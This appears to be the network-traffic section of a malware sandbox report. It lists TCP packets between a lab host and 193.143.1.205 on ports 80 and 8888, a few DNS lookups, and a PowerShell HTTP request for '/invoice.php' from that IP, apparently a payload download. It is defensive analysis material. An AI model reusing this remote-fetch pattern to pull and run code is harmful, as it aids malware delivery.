Jan 10, 2025 21:19:32.477123976 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477134943 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477144957 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477152109 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477158070 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477169991 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477176905 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477183104 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477195978 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477209091 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477227926 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477255106 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477266073 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477277040 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477289915 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477302074 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477305889 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477314949 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477327108 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477335930 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477355957 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477379084 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477389097 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477400064 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477407932 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477411985 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477425098 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477426052 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477436066 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477447033 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477452040 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477458000 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477471113 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477490902 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477514982 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477521896 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477533102 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477545977 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477557898 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477567911 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477569103 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477580070 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477586985 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477591991 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477615118 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477839947 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477860928 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477869987 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477873087 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477900028 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477948904 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477958918 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477972031 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477983952 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477988005 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477997065 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.478007078 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.478017092 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.478039980 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.478631020 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.478641033 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.478652000 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.478671074 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.478708029 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.478737116 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.517519951 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517534971 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517545938 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517582893 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.517688036 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517698050 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517729044 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517736912 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.517765045 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517765045 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.517776012 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517800093 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517811060 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517812967 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.517822027 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.517844915 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.517997980 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518018007 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518028975 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518038988 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518052101 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518058062 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.518064022 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518075943 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518076897 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.518086910 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.518089056 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.518110037 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.528832912 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528846979 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528857946 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528872967 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528872967 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.528886080 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528903961 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.528918028 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.528943062 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528953075 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528964996 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528992891 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.528997898 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.529010057 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.529021978 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.529028893 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.529033899 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.529040098 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.529052973 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.529062986 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.529094934 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.558882952 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.562947989 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.562992096 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563003063 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563015938 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563041925 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563044071 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563074112 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563092947 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563108921 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563113928 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563133955 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563146114 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563205004 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563215971 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563226938 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563235998 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563240051 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563260078 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563277006 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563287973 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563299894 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563306093 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563333035 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563333988 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563381910 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563393116 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563410997 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563416958 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563447952 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563482046 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563493967 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563508034 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563523054 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563538074 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563549042 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563566923 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563580036 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563610077 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563668966 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563688040 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563699007 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563710928 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563733101 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563757896 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563800097 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563812017 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563822985 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563833952 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563843012 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563846111 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563852072 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563867092 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563877106 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563889027 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563899994 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563903093 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563915968 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563921928 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563935995 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563946009 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.563947916 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563954115 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563958883 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563965082 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563978910 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563983917 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.563997984 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564012051 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564014912 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564027071 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564033031 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564040899 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564054012 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564064980 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564069986 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564076900 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564090967 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564101934 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564102888 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564116001 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564140081 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564141989 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564151049 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564163923 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564182997 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564191103 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564196110 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564207077 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564214945 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564219952 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564239025 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564250946 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564255953 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564261913 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564266920 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564280987 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564291954 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564292908 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564306021 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564316988 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564323902 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564328909 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564348936 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564496994 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564513922 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564526081 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564531088 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564538002 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564549923 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564555883 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564562082 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564580917 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564619064 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564630032 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564640999 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564650059 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564672947 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564694881 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564704895 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564717054 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564728022 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564739943 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.564739943 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.564759016 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.604702950 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.604769945 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.604778051 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.604826927 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.604872942 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.604881048 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.604918003 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.604952097 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.604958057 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.604985952 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605021000 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605041981 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.605056047 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605098009 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.605109930 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605144024 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605175972 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605185986 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.605209112 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605241060 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605247974 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.605278015 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.605315924 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.615605116 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615649939 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615695000 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.615711927 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615765095 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615798950 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615809917 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.615833044 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615865946 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615875006 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.615900993 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615935087 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.615942001 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.615968943 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.616002083 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.616013050 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.616035938 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.616067886 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.616076946 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.616101980 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.616141081 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.616159916 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650085926 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650105000 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650116920 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650129080 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650141954 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650152922 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650154114 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650166035 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650181055 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650211096 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650760889 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650770903 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650782108 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650794029 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650805950 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650805950 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650816917 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650829077 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650836945 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650840044 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.650870085 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650882959 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.650909901 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.659142017 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:34.091129065 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:35.111299038 CET	49794	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:35.116336107 CET	8888	49794	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:35.116420984 CET	49794	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:35.116724968 CET	49794	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:35.121929884 CET	8888	49794	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:35.914298058 CET	8888	49794	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:35.958523989 CET	49794	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:35.993091106 CET	49794	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:19:44.677670002 CET	63202	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:19:44.677670002 CET	192.168.2.9	1.1.1.1	0x80e9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:19:44.685247898 CET	1.1.1.1	192.168.2.9	0x80e9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:20:00.282061100 CET	1.1.1.1	192.168.2.9	0x4eb1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:20:00.282061100 CET	1.1.1.1	192.168.2.9	0x4eb1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49773	193.143.1.205	80	7904	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:19:31.249365091 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
